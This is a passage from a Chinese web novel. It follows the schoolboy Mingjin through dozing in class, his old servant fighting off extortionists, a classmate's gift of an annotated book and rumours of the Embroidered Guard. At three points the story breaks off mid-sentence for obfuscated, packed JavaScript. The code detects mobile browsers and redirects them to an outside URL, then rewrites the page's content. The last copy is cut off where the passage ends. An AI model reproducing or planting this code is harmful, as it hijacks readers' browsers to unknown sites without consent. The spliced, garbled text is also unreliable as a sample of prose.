晴儿拖长声音哦了一声,故作无奈地叹气:“怪不得。少爷,快起来,今儿个又得换被褥啦。” 明瑾:“…………” 11. 第 11 章 明瑾被几个丫鬟嬉笑着推出了房门,尴尬地站在门口吹风。 一回生二回熟,他揉了揉鼻子,倒也没有第一次经历时那么手足无措了。 反正现在明府上下都知道他有心上人了,正常,正常。 而且都说玩火尿床,说不定是因为他做噩梦梦见大火才湿了褥子呢,这可不能怪他。 烦恼从不会在明瑾的小脑袋瓜里停留太久,他高高兴兴地用完早膳,高高兴兴地地同文叔唤了声早。 然后小脸一垮,磨磨蹭蹭地地骑上骡子,不高高兴兴地前往书院。 他讨厌上学! 超讨厌!!! 早上的云英书院门前水泄不通,一条宽窄巷子,停满了高门显贵家的轿子,还有些夸张的,身边甚至跟了五六个仆役服侍。 有的背书囊,有的提吃食,还有专门的书童抄写和打手护院,前呼后拥,好不热闹。 相比之下,只坐在一头骡子上、带着个独眼老仆慢悠悠来到书院的明瑾就要低调多了。 张牧为此颇有微词,说明家又不是坐不起轿子,为什么非要叫那魏金宝看扁了去? 但明瑾依然我行我素。 他给张牧的理由是哪怕自己坐八抬大轿,他的出身门第也还是不如魏金宝,这是事实;但就算他骑着骡子,他本人也依然比魏金宝那混账强一百倍,这也是事实。 当然,真正的原因是因为骑骡子方便,可以随时牵了就走,这样平时他迟到早退就不会这么明显了。 明瑾跳下骡子,拍干净身上尘土,和文叔道了声别,无视了对面轿子上魏金宝和书童的大声嘲讽“我看这云英书院真是一届不如一届,就连商人之子也能来上课,不如改成集市卖鞋垫算了”,在张牧诡异的眼神中,还心情很好地跟他打了声招呼。 “张兄,今儿气色不错啊。” 张牧看了看他,又看了看远处没得到回应面露不甘的魏金宝,神色诡异:“你……不会被那姓魏的气疯了吧?” 居然没呛声? “怎么会?我高兴着呢。”明瑾挑眉回答。 想到那天宁先生对他说的那番话,他瞥了一眼身后的魏金宝,哼笑一声: “放心,不会让他嚣张多久的。” 张牧愣了一下,三两步追上他的脚步,急切问道:“怎么,你终于同意我那个往他裤.裆里塞癞//□□的计划了?” 明瑾咳嗽起来:“……才不是呢!你那出的都是什么馊主意,我找了宁先生当军师,肯定比你这狗头军师强一百倍。” “宁先生?” 张牧反应很快,怕被别人注意,还特意压低了声音:“你该不会说的是你那个心上人吧?你真见到他了?” 两人迎着晨光拾级而上,穿过两侧栽满海棠的小径,来到学堂内。 明瑾放下书囊,在自己的座位上坐好,掸了掸衣襟上飘落的海棠花瓣,这才矜持地冲张牧点了一下头。 张牧差点被他气乐了,威胁地挥了挥拳头:“你再这样装模作样试试呢?快说!到底发生什么了?” “等李司来再说吧。” “不行!我现在就要听!” 两人打打闹闹半天,直到丁弘毅踏进学堂,这才跟见了猫的耗子一样弹回座位。 丁弘毅的脸色看上去比平时更差,眼底青黑,眉心沟壑深重,像是一晚上苍老了好几岁似的。 老丁头该不会这个年纪了还不服老,想着晚上再加把劲生个一儿半女的吧?明瑾颇为乐呵地揣测。 紧接着却是被吓了一跳,因为丁弘毅冷冷地扫了他们这边一眼,就跟知道他心里在想什么似的。 明瑾赶紧心虚地低下头,装作一副很忙的样子伸手摸索纸笔。 哎呦,这笔可真笔啊。 “都给老夫打起精神来,准备上课!” 一向不喜欢废话的丁弘毅顿了顿,在上课之前,难得说了些无关紧要的题外话: “老夫知道,在座诸位或出身高门大族,或颇有家资,哪怕学业不成,回去继承家业,也可一生丰裕无忧,位至公卿;” “但老夫当年,罹逢战乱,家道中落,缊袍敝衣来京求学,只望有朝一日,能匡扶社稷,为生民天下计……” 明瑾听到魏金宝低笑着对自己的书童道:“这老头又在吹自己当年的事迹了,一年两年三年,年年都讲,学堂里谁不知道他出身贫贱?当个教书匠而已,又不是位列三公了,真是眼皮子浅。” 有本事当着老丁头的面说啊,明瑾撇撇嘴。 魏金宝这个欺软怕硬的怂货。 丁弘毅也不管他们能听进去多少,只是自顾自地说道:“虽说如今天下安定,可前车之鉴犹在眼前,北边胡人至今仍虎视眈眈,随时可能卷土重来,国中又有……” 看着底下一双双或是无所谓、或是茫然懵懂的稚嫩双眼,他忽地闭上了眼睛。 半晌,轻叹一声: “罢了,言尽于此,上课吧。” 张牧咋舌,压低声音对明瑾道:“今天他唠叨怪话真多……明瑾?你怎么了?” 明瑾恍然回神。 “没什么。”他心不在焉道。 只是觉得,老丁头这个状态,和他平日里那种自矜高傲的模样截然不同。 像是一夜之间心气都被磨平了大半,颓然之中,还带着一丝难以遮掩的……悲痛之意? 应该不会是他看错了吧? 明瑾仔细观察着丁弘毅。 但他很快失望地发现,老丁头还是那个老丁头,脸一板讲起课时,语气冷硬,不带半点起伏,跟念经一样,叫人听了只想倒头就睡。 但本着和宁先生的约定,明瑾还是硬着头皮坚持了—— 半堂课。 一日之计在于晨,学堂内先生诵读着之乎者也,淡淡墨香飘散,窗外天高云淡,花开正盛。 温热的阳光照在身上,没有张牧在旁边插科打诨,明瑾的脑袋也慢慢垂了下去。 少年的脑袋一点一点,困意飞速上涌,眼皮仿佛千斤往下坠。 他用最后的意志力握紧毛笔,落在纸上,却是一团团狂乱得看不出字迹的墨迹。 台上的讲课声突兀地拔高了些。 明瑾哆嗦一下,勉强清醒了些。 他装作失手落笔,弯腰去捡,却迟迟没抬起头。 “咳!” 丁弘毅重重咳嗽了一声。 地上的笔掉了两次,终于被人捡了起来。 重新在位置上坐好的明瑾神情恍惚地看着手中书本,瞳孔不受控制地逐渐涣散,一列列墨黑的字迹,也在眼前飞成了一片模糊的阴影。 对不起宁先生,真不是他不想认真听课…… 但是真的,早晨上课,实在太困了、也太好睡了…… 他就睡一会儿、一小会儿…… 明瑾头一歪,趴在桌案上。 眨眼间便睡得人事不省。 早就注意到这边动静的丁弘毅见状,神色复杂地挤出一声冷哼,倒也没有叫醒明瑾,只是在路过他座位时,低低骂了一句“没出息的孽障”。 方才看到明瑾偷偷掐自己大腿时,亏他还以为这小子改过自新了。 真真是朽木不可雕也! “明瑾,快醒醒!” 下课时张牧喊醒他,明瑾迷迷糊糊地抬起头:“怎么了,李司来了?” “没呢,”张牧说,“老丁头提前走了,说是为友人奔丧,接下来两日告假,由其他先生给我们上。” 明瑾哦了一声,倒也没有问为什么。 老丁头不来,其他先生也不会针对他,是喜事啊。 只是他看着前面依旧空荡荡的座位,和张牧交换了一个眼神,发现对方也是一脸的疑惑。 “李司今天也告假了?” “不知道啊,”张牧茫然道,“他没跟我讲。难不成是生病了?” 明瑾想了想:“那等散学之后,要不咱们一起去他家看看?” “行吧,反正下午就只有一堂射御课,这个我擅长,不会被先生留堂。” 张牧无所谓地抬起手,交叠枕在脑后,懒洋洋地晒着太阳。 没多久,又打了个哈欠:“对了,关于那个宁先生,我劝你最好提防着点,这人不简单。” 明瑾揉了揉惺忪睡眼,闻言疑惑歪头:“怎么说?” “我没查到他的底细,”张牧放下手看向明瑾,干脆利落地说道,“一点儿也没有— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171811|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —你知道这意味着什么吗?” 明瑾沉吟道:“意味着他跟我一样,为人低调谦逊?” “滚犊子!”张牧白眼差点翻上天,“快醒醒吧,我爹在刑部天天和三教九流打交道,连哪家扒灰哪家养小叔子他心里都门清儿,可我那天问他,他非但没告诉我,还一脸严肃地告诫我少惹事,你觉得你那心上人能是什么简单货色?” 明瑾一时语塞,不知该说是张大人厉害,还是该说张牧这儿子当的,可真是半点儿不给他老子留面子。 不过…… 他一本正经地点头:“宁先生的确不同凡俗。” 张牧嘴角一抽:“算了,反正现在说了你也不会听,等你撞了南墙之后就知道了。” 宁先生这么在乎他,怎么会让他撞墙? 明瑾不以为意。 但也知道张牧是好心提醒,于是便拉着他讨论起下次旬假去哪儿玩的事。 宁先生为人可体贴了,走之前还特意跟他说,下次再来府上估计要等半月之后,来之前也会提前派人通知,不会影响到他和小伙伴玩耍的。 张牧果然很快就被转移了注意力。 他兴致勃勃地同明瑾商量起来:“城南那边新开了家池浴,听说里面的园子可大了,还搭了台子表演百戏!趁着天还没热,一起去玩玩呗?” “行啊,再拉上李司,这小子一向不爱洗澡,我早看不下去了。” 散学后,两人勾肩搭背地朝李司家走去。 时不时你踹我一脚,我拐你一肘子。 很无聊的举动,但两个少年却玩得不亦乐乎。 明瑾照旧和文叔一起。张牧嫌家里的老仆唠叨烦人,只拉上了一个年轻的,还特意打发得远远的,落在后面给他拎东西。 正说着话,忽然听见转角处传来一声闷响,像是什么东西砸在了墙上。 两人同时脚步一顿。 伴随着隐忍的痛呼声,小巷内,一道阴阳怪气的嗓音响起: “没钱?没钱你来上什么云英书院?再说了,你没钱你不知道抱大腿?那地方随便哪个学生,拔根毛都比外面人腰粗了!” “…………” “臭小子,哑巴啦?赶紧把值钱的东西都掏出来,不然今儿你走不出这个巷子!” 张牧暗道一声晦气,拉着明瑾就要绕路离开。 他虽然仗着在刑部就职的爹,从来不怕这帮地痞流氓,对方也不敢把他怎么样,但明瑾就不一样了。 朝中无人难办事,京城的流氓和地方的流氓也大不一样。 勒索一个富商之子?顺手的事。 听说几十年前江南兵祸期间,皇权式微,各地生乱,劫匪甚至无法无天到连当朝公主都敢绑架! “明兄,麻烦你下次多带点护卫成不?”张牧看明瑾还一副伸着脑袋好奇张望的样子,无可奈何道,“虽说这两年京城治安好了不少,可就一个瞎眼的老仆能顶什么用?上次我都看到了,你还帮他拎包呢!” “我把文叔当家人,帮自家人个小忙而已,有什么关系?” 明瑾笑嘻嘻地拐了他一下:“对了,那边,你觉得要不要也过去帮个忙?那家伙好像是咱们学堂的同窗,我记得,是叫荀婴吧?” “荀家人?” 张牧立刻同他八卦起来:“听说荀家出了个败家子,前几年把祖辈留下的基业全败光后拍拍.屁股上吊了,留下家里的孤儿寡母和七十岁的老父亲无人赡养,就连他儿子进书院念书,都是靠七十岁的祖父拄着拐杖亲自去找院长说情的。” 明瑾疑惑道:“可我怎么记得,荀家祖上好像还出过一位三公呢?” “是啊,但那都是多少年前的事了?江南正经人家往上数几辈,有几个没当过官的?”张牧一脸不屑。 “都说京城的五品官比瘦湖里飘着的王八还多,说不定,你明家以前也是皇亲国戚呢!” 他明显不想搭理这事,奈何明瑾一意孤行,非要说好歹同窗一场,同学有难,他们不能袖手旁观。 两人在原地拉拉扯扯僵持片刻,动静已经引起了那边的注意。 领头那人打眼一看,顿时怪笑起来: “哎呦喂,这不是咱们的明大少爷吗?” 12. 第 12 章 得,这下是真走不了了。 张牧咬牙切齿地瞪了明瑾一眼。 他就没见过这么爱自找麻烦的家伙! 但他还是主动上前一步,挡在兄弟身前,横眉竖眼地对那混混头子道:“恰好路过而已,你有什么事?” “哟,张公子,也是稀客啊,”那混混瞥了他一眼,却没有善罢甘休,继续嬉皮笑脸地对明瑾招呼道,“之前明老爷给了咱们兄弟几个不少酒肉钱,不过嘛,这都过去大半年了……” 明瑾暗道:果然是上门打秋风的。 就算这次他不站出来,这帮人为了要钱,肯定也会主动找他麻烦。 万一自己到时候再孤身一人,那可就真麻烦了。 明瑾对他爹这种暗地里替自己交保护费的行为早有察觉,不然这半年在书院,他也不可能过得这么平静——假如不算魏金宝没事找事的话。 但他并不赞同明老爷拿钱消灾的理念。 豺狼本性贪婪,喂饱了一次还有下一次,继续纵容下去,只会把他们的胃口养得越来越大。 就比如站在他面前的这几位。 “你们要多少?”明瑾懒得听他继续逼逼赖赖,直接打断他问道,视线却忍不住朝着他们后方的荀婴身上飘去。 这家伙看起来比张牧小一些,倒是与他年岁相仿。 脑袋小小一个,四肢却格外纤长,瘦得像是山涧石头缝里钻出来的孤零零一根青竹,被几个混混挡住大半身形,在人群里毫不起眼。 像他们这个年纪,正是青春好动的阶段,家里都会特别准备色彩鲜艳的松快衣裳,穿着好看出挑,又方便活动。 但荀婴却只穿着一件洗得泛白的黛青色旧衣,领口严丝合缝地扣到最顶上,长袖及地,腰身也过于宽松了。 若是成年人如此扮相,倒还能夸赞一句衣带当风,名士风流,但放在荀婴身上…… 简直像是小孩偷穿大人衣服,明瑾心想。 看了都替他累得慌。 似乎是注意到了明瑾的目光,荀婴原本略微低的头飞快地抬起,正巧和他对视一眼。 不等明瑾朝他露出笑容,他又紧抿着唇,一声不吭地垂下了眼眸。 ……切,怪人一个。 明瑾脾气也大,顿时有点儿不愿搭理他了,直接扭头对那些混混道:“你们报个数吧。” 混混头子和周围人对视一眼,哈哈笑起来:“明大少果然爽快!咱们兄弟几个也不要多,就这个数,怎么样?” 他竖起三根指头。 “要是明少暂时给不出来,那就跟咱们去酒楼坐一坐,叫你这缺眼的老仆回家里拿钱,如何?” 张牧的脸色瞬间变得难看。 这明晃晃的威胁,和绑架勒索有什么两样? “你们——” 他正要开口怒斥这帮人恬不知耻,就听明瑾笑了一声,语气轻快道:“早说嘛,多大点事儿。” “来文叔,快快拿三个铜板给这位兄台,钱记我账上,不够我这儿还有。” “好嘞少爷。” 文叔笑呵呵地应了一声,看向明瑾的眼神还是一如既往的宠溺。 他慢吞吞地松开牵着骡子的绳索,作势伸手探入怀中掏钱,嘴里还喃喃着什么“少爷心善”,听得人莫名火大。 混混头子的面色登时难看起来。 但他到底顾忌着明家在江南的势力,只狠狠瞪了一眼不识好歹的明瑾,上前一步,狞笑着揪起那牵骡老头的衣襟,恶声恶气地威胁起来: “老货找死是吧,三个铜板,打发要饭花子呢?还是说另一只眼也不想要了?” 他比文叔高了足足一个头,左臂上还纹了只张牙舞爪的黑虎,逞凶时乍看声势响亮,十分唬人。 旁边的小弟都哄笑起来,抱着膀子看起了好戏。 张牧拼命朝身后使眼色,示意后面的人赶紧去找帮手来。 余光一扫边上,这傻不愣登的大少爷居然还在坤着脖子,兴致勃勃地看着热闹——真是见鬼了!他绝望地想。 但那混混头子,却并没有表面看上去那样游刃有余。 他本以为凭借自己一身力气,可以轻轻松松把这年老体衰的独眼老头拎起来,好生教训一顿。 只要注意分寸别闹出人命就行,最好再把明家那位大少爷吓得屁滚尿流乖乖交钱。 可他脸皮抽动,暗中用力了半天,差点咬碎了一口牙,面前这头发大半都已花白的老头,却依旧见鬼的纹丝不动! 那双老布鞋仍稳稳地站在地面上,就跟生了根似的。 混混头子额角青筋暴起,气喘吁吁地低头一看: 这老头其貌不扬,小腿肚子竟犹如铁疙瘩一般,其上青筋虬结,凌乱交错着几条蜈蚣粗细的狰狞伤疤,像是两条深深扎根在地下的枯瘦老树根。 “喏,少爷给你的三枚铜板。” 文叔终于把钱掏了出来,整整齐齐码在长满粗糙厚茧的手心,这才慢吞吞地递给了他。 末了,又拍了拍混混头子的胳膊,语重心长道:“少爷心善,你拿了钱,就莫要再为难其他学子了。你还年轻,悔改罢!” 混混头子一把将他的手打飞,三枚铜板叮当落地。 “老头好胆!” 被一群小弟注视着,他自觉丢了面子,怒火顷刻间燃尽理智,也顾不上什么分寸了,忍无可忍地抡起拳头。 眼看这嚣张老头的鼻梁就要被一拳打断,他面露喜色,文叔却微偏了下脑袋,险之又险地与他的拳头擦肩而过——是巧合么? 混混头子来不及思考。 一晃神的功夫,他的手腕便已被人捉住。 陡然一阵分筋挫骨的剧痛从腕骨处传来,他大叫一声,被拽得一个踉跄向前扑去,文叔趁势一扭身,抬起老布鞋,轻巧一个勾脚点在他腿弯,他便当场以头抢地,摔了个七晕八素。 “…………” 周围一片死寂。 其他混混呆愣了数息,立马抄起棍棒砖石,嗷嗷叫着扑上来要为老大报仇。 文叔叹了口气,扯开上身那件薄薄的粗麻布衫,脱膊露出了遍体花绣。 那青墨红郁错落的一身花锦,似鲲鹏落彤云,青龙卷海潮,看得张牧目不斜视,当场情难自禁地高叫了一声好。 一炷香后。 张牧张大嘴巴,看着躺在地上呻.吟的混混们,再抬头看看那位自己一直嫌弃不已、觉得老得都快掉牙的瞎眼老仆,眼神立马就不一样了。 文叔慢吞吞地脱掉布鞋,掸掉鞋面上的灰尘,又用苍老的手指微微颤抖着把衣衫的扣子一个个扣好,俨然一副老态龙钟模样。 但张牧却再不可能把他当一个寻常老仆了。 他一脸敬畏地问明瑾:“你家从哪儿找来的这位高人?” “文叔以前可是从过军的,我爹到现在都还是按照军中百长的职级给他发放月俸。”明瑾不无自豪道,“怎么样,厉害吧?” “厉害,太厉害了!” 张牧的眼睛嗖地一下亮了。 他这个人,对读书学习有多不耐烦,对习武打仗就有多热衷。 老天也未薄待他,赐他一身天生神力,未满十四便能拉四力弓。 奈何云英书院只教软绵绵的君子六艺,随着张牧年岁渐长,连射御课的老师都教不了他什么了。 张牧一直为此耿耿于怀,觉得要不是有明瑾李司他们在书院,上学对他来讲纯属浪费时间。 还不如早点入伍赚军功,说不定还能光耀门楣呢。 结果这话被他老爹张淼听到,张牧差点被打断腿。 从此张牧再不敢提这事,连想让家里帮忙请个习武师父都不敢张口,生怕他老爹再抄起笤帚骂他不知死活。 但文叔不一样啊! 文叔是明家的忠仆,他老爹也见过几次,是过了明路的。 假如他跟随文叔学习武艺被老爹发现,完全可以拿明瑾当挡箭牌——不对,是借口。 张牧看向明瑾的眼神一下子就热切了。 更何况,文叔不仅武艺高强,还有这样一身好花绣! 大丈夫当如是! 明家只让他当个牵骡提囊的老仆,实在是太浪费人才了。 明瑾:“…………” 他一阵恶寒:“你做什么这样看着我?” “明兄,”张牧一把抓住了他的胳膊,言辞恳切,“咱们是好兄弟对吧?” 明瑾警觉地退后半步。 “得分情况。你要干什么?” 张牧张了张口:“我——” “多谢二位兄台和这位老人家仗义出手,”一道低哑的少年嗓音斜插过来,打断了张牧未说出口的话语,“在下荀婴荀元栋,此三文钱当物归原主。” 他说着,朝明瑾规规矩矩行了一礼。 又摊开手。 掌心之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171812|180712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是被他用衣摆擦得锃亮的三枚铜板。 明瑾盯着他掌心的厚茧,本想问为什么大家都是同样的年纪,偏偏你却有表字,但想了想,还还是把疑问咽回了肚子。 娘说过,交浅言深,君子所戒。* 不过他觉得荀婴这个举动很有意思,所以多问了一句:“三文钱而已,丢了就丢了,还捡它干什么?” 荀婴不答,只是看着他,默默地把手往前递了递。 张牧不耐烦地“啧”了一声,他最讨厌这种一看就读书把脑子读坏的小古板。 明瑾生怕他开口就骂人,赶紧拉了一下他的袖口,然后接过铜板,朝荀婴点头道:“钱我收下了,你还有什么事吗?” 荀婴嘴唇蠕动了一下,摇摇头,又躬身朝他和文叔行了一礼,言谈举止之间挑不出丝毫错处,“婴家中还有要事,就先告辞了。这份恩情,婴定谨记心中,来日再报。” 说完,便急匆匆地离开了。 望着他的背影,张牧感叹:“五十年之后,又是一个老丁头啊。” 明瑾并肩和他站在一起:“应该不至于。” “为何不至于?” “他长得比老丁头好看多了。” “五十年之后他都是满脸皱纹的老头子了,有什么好看不好看的?”张牧说,“说不定老丁头年轻时也是风韵犹存……呃,我是说风度翩翩呢。” 说完,两人同时打了个哆嗦。 风度翩翩的老丁头,太可怕了。 根本没办法想象那副画面。 “但是宁先生就算老了,一定也是个儒雅风流的长者。”走在路上,明瑾突发奇想地说道,“就跟龚院长一样。” 云英书院的院长龚万,容仪端美,逸气轩昂。 年轻时入朝为官,还有人因此参他是佞臣。 直到后来他年岁资历渐长,又留了长须,那些对他容貌的诋毁和赞誉才一同偃旗息鼓。 刚入学时明瑾远远望过这位院长一眼,尽管龚院长年过五十,但老了的美男子还是美男子,笑吟吟负手站在面色僵硬的老丁头和一群老先生中间,依旧鹤立鸡群,望之令人心生好感。 明瑾对长相好看的人向来记忆深刻,所以一直记到今天。 当然,龚院长和宁先生比起来,肯定还是宁先生更胜一筹! “是是是,你家宁先生永远是天下第一好,行了吧?” 张牧随口敷衍了一句。 眼看着离李司家不远,他立刻打起精神来,把之前被荀婴打断的拜师想法说出了口。 文叔有些为难:“张公子要是想跟着我学武艺,我倒是没意见,但我毕竟是明家的人,成不成还要看少爷的意思。” 明瑾还没来及说话,就被张牧一把捂住了嘴。 “明瑾他同意了!”张牧拔高声音道,不顾怀里明瑾拼命的挣扎:“唔唔唔唔!” 明瑾眼睛瞪得老大:我什么时候同意了!? 文叔的表情也很有些一言难尽,委婉道:“张公子哪里的话,折煞老头子了。……还有,少爷他好像要被你捂死了。” “啊?哦,哦。” 张牧这才悻悻然松开手。 “咳咳咳!” 明瑾一脚踹过去,怒道:“混蛋,你想闷死我吗?少在这儿替我自作主张,我告诉你,我不同意!” 张牧厚着脸皮跳开:“别啊,你都拜那个宁先生当师父了,怎么,不许我也找一个老师当靠山啊?” “我都还没跟宁先生见过几次面呢。”明瑾嘟囔。 “什么?” “我说,拜师可以!”明瑾扯着张牧的耳朵大喊,把张牧喊得脸都青了,“但是礼节不能少!还有束脩,赶紧准备齐全了再来,不然我可不答应文叔随随便便教你,对吧文叔?” 文叔看着气哼哼拿指头戳着张牧的自家小少爷,眼眶微热。 以他如今的身份,张牧愿意跟着他学武艺,已算是屈尊了。 但明瑾这番话,明显是还想要帮他挣个师徒名分。 明君在上,慎于择士,务于求贤。* 他看着长大的小少爷,果然是…… 文叔使劲儿眨了眨眼睛,笑呵呵地应了一声。 张牧泄气道:“好吧,我知道了,回去就叫人准备。” 他扭过头,看了一眼不远处紧闭的李府大门,忽然轻咦了一声: “李家这是出什么事了?” 13.第 13 章 明瑾和张牧交换了一个眼神。 李司家的事情,他自然也不清楚,不然也不会跟着张牧来这儿了。 于是明瑾主动上前叩门。 片刻后,门扉吱呀一声,开了一条缝。 李家的管家站在门后张望,神色紧张。 看到是他们俩,他稍稍松了口气,缓和了语气道:“今日府上不待客,两位公子,请回吧。” 说完就准备当着他们的面关上大门。 “等等!” 明瑾当然不会就这么让他走了,他伸手卡在门缝间,喊道:“张兄,帮个忙!” “来了!” 张牧有的是力气,从他身后快步走上前,单手一把撑住了门板。 年富力强人高马大的管家使了半天劲,愣是没把门合上,张牧还很嚣张地冲他挤了挤眼睛:“没吃饭啊?我才用一只手呢。” “二位公子,你们这是做什么!” 管家气急败坏道:“我家少爷今日告病,不见客!” “告病?” 明瑾才不信,厚着脸皮道:“既然李司生病了,我们身为他的同窗兼好友,就更应该上门探望了。这次来得及,没带礼物,先赊着,下次补上。” 说完就拉着张牧硬挤进了门内。 不等管家喊人来,两人便朝李司的卧房一路狂奔。 “明兄,张兄!这边!” 卧房的门也上了锁,听到外面动静的李司趴在窗户上,一脸惊喜地朝他们招手。 明瑾瞧他脸色红润得很,哪里有半点病容? “那管家说你病了,果然是瞎扯的,”张牧哼笑一声,放慢脚步,双手枕在脑后走过来,“说吧,出什么事了?” 李司挠了挠头:“其实也没什么,昨晚我家边上的黄家被抄家了,来了好多官兵。我以前没见过这个,好奇嘛,就扒在墙头偷看,结果被一个官兵给逮住了。” 张牧轻松的神情瞬间消失无踪。 “你被官兵给逮了?” “对,我爹气得要死,说要关我十天紧闭好好长长教训,再然后,你们就来了。”李司回想了一下,“那人好像还是个锦衣卫。” “还是锦衣卫!?” 张牧一口气没上来,抖着手指着边上正捣鼓铜锁的明瑾,悲愤道:“我上辈子造了什么孽,摊上你们这两个家伙?一个招惹混混,一个更是青出于蓝,直接惹上锦衣卫了!” “交友不慎,真真是交友不慎!” 明瑾忽然欢呼一声:“开了!” 喀拉一声,两人抬头望去,发现门上铜锁应声落地。 “小爷出马,一个顶俩,”明瑾得意地拍拍手,把手里的铁丝重新插回腰带间,招呼道,“放心把李兄,等下会给你原样装回去的。” 李司惊叹不已,就连张牧都放下了手,连声问道:“你这是从哪儿学来的妙手空空本领?不会也是文叔教你的吧?” “不是,是我娘教我的。”明瑾骄傲道,不自觉地挺了挺胸膛,“她年轻的时候靠这门手艺撬过匪徒的藏宝箱,还撬过我爹偷偷藏起来的私房钱呢。” 李司依旧惊叹:“哇,好厉害啊。” 张牧却不知该作何表情——你们明家上下,怎么搞得和武林大会一样,上至主母下至老仆,人人都会一门绝学? 这个念头一冒出来,他又忍不住开始思考,那明瑾算什么,武林绝学的继承人,集大成于一身的武林盟主吗? “趁着天还没黑,一起去我家玩呗?”明瑾才不管张牧在想什么,扭头热情地邀请李司。 李司为难道:“可我爹那边……” “让我爹找你爹说情不就行了?”明瑾说得理直气壮。 明瑾最大的底气,就是明老爷对他近乎无底线的宠溺。 而且娘对他也只是嘴上严厉,大部分时候也是很宠他的。 明瑾这样想着,继续怂恿李司:“走吧走吧,说白了不就是虚惊一场吗,你又不是真犯了什么事招惹了锦衣卫。” 对于明瑾来说,“锦衣卫”这个词只存在于传说之中,偶尔学院的先生们也会提到,但基本都是只言片语,讳莫如深。 所以锦衣卫在他心目中的印象,和《山海经》中的那些奇闻异兽没什么两样。 无论是在过去、现在还是将来,都与他的人生不会有半点关系。 他只想当个普通的纨绔子弟,一辈子吃喝玩乐平安到老,这种涉及到朝堂腥风血雨的事情,还是尽量远离为妙。 但张牧对锦衣卫还是挺好奇的,所以后来多问了一嘴。 李司说现场太乱,人又杂,他就只看清了抓他的那个锦衣卫,长得怪阴的,笑起来眼睛细长,像只狐狸,一看就知道不是个好人。 “但后来又来了一位,”李司手舞足蹈地比划着,“穿着一身白,戴着手套,就是他叫那个锦衣卫把我送回家的。” 明瑾一愣,立刻追问道:“那他是不是有一双金色的眼睛?” 这些天下来,拜明瑾天天念叨所赐,张牧和李司都对他的那位心上人宁先生有了个大概的了解。 闻言,张牧神色诡异,李司则陷入了沉思。 片刻后,他摇了摇头:“我不知道。当时我都快被那个锦衣卫给吓死了,根本不敢抬头看。” 明瑾一颗心刚提起来,就又落了下去。 但也没落回原位,反而有种无处安放的空落感。 他宽慰自己:天底下穿白袍的人多了去的,习惯戴手套的也不止宁先生一个,指不定是嫌抄家脏手呢。 再说了,宁先生是养蛐蛐的良民,平白无故的,怎么可能和锦衣卫那种鬼见愁扯上关系? 不过李司的这番话,明瑾到底是记在了心里。 他准备等下次再见到宁先生时,当面问问对方。 谁知道,这一等,就是一个多月。 “怎么愁眉苦脸的?”散学时,张牧问道,“不是说好了,明天一起去城南的池浴吗。” “是啊,”明瑾叹气,“是说好了。” “但我和宁先生一个多月没见过面了,一日不见如隔三秋,这样算的话,我都有一百多个秋天没见到他人了!” 张牧:“……还能这么算吗?” “不过他这个年纪,肯定有很多事情要忙,”他满不在乎道,“你不是说他是养蛐蛐的吗?前几天倒春寒,可能蛐蛐全死了吧。” “不许你乌鸦嘴!” 明瑾立刻嚷嚷起来,张牙舞爪地要张牧给宁先生道歉,张牧则怪叫着“重色轻友”,拉着李司非要叫他给自己评评理。 三人拉拉扯扯间,荀婴走了过来。 他似乎没察觉到这边陡然安静的诡异气氛,只是神色认真地看着明瑾,默默递来一本书。 明瑾眨了眨眼睛:“这是什么?” 荀婴道:“《大学》。我问丁先生借阅了上次学堂小测的考卷,发现你对它几乎一窍不通。” 似乎是觉得自己这样说太直接,他顿了顿,又补充道:“但你的《诗经》学得很好,丁先生也这么说。” 明瑾一言难尽地看着他。 他究竟哪里表现得不好,给了荀婴一种错觉,自己是那种谦逊好学爱读书的人? 张牧则更为直截了当一点:“你脑子有病吧?” “在下无疾。”荀婴正色回答他。 随即又转向明瑾,“我知道你肯定有这本书了,但这本《大学》上,有我默写的大儒郑素的注释,虽然它的古籍原本已经……”少年神色暗淡了一瞬,很快重新振作起来,“总之,我可以保证,它与原本上的注释一字不差。” 明瑾讶异道:“你默写的?难不成你能过目不忘?” 荀婴没说话,算是默认了。 明瑾顿时觉得手里轻飘飘的书本重若千斤了。 他不傻,就算再不爱读书学习,也知道这本书的价值。 放在外面,甚至会有人以千金之价相求——大儒郑素,这可是本朝开国以来名声最为显赫的名士! “你……不是,这也太贵重了吧?”明瑾磕磕巴巴道,“上次我就是看在大家都是同窗的份上,顺手帮了个小忙而已,你不必这样的,这书给我,着实太浪费了。” “你拿着吧,”荀婴摇摇头,“那日我都看见了,你在丁先生的课堂上,虽然困倦不堪,但还是努力掐着大腿逼自己清醒。” 他眼神清澈地看着明瑾,语气不无赞叹:“有这份上进好学之心,此书赠你,怎能算是浪费?” 明瑾:“…………” 他哪里是上进好学? 明明是因为……宁、宁…… 饶是明瑾脸皮再厚,被荀婴用这样的眼神盯着,也不禁小脸一红,低着头,讷讷说不出话来了。 张牧噗嗤笑出了声,还朝他挤眉弄眼落井下石:“对啊明兄,我也觉得你最近颇有悬梁刺股之刻苦精神,也不知道究竟是被哪个榜样激励到了,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 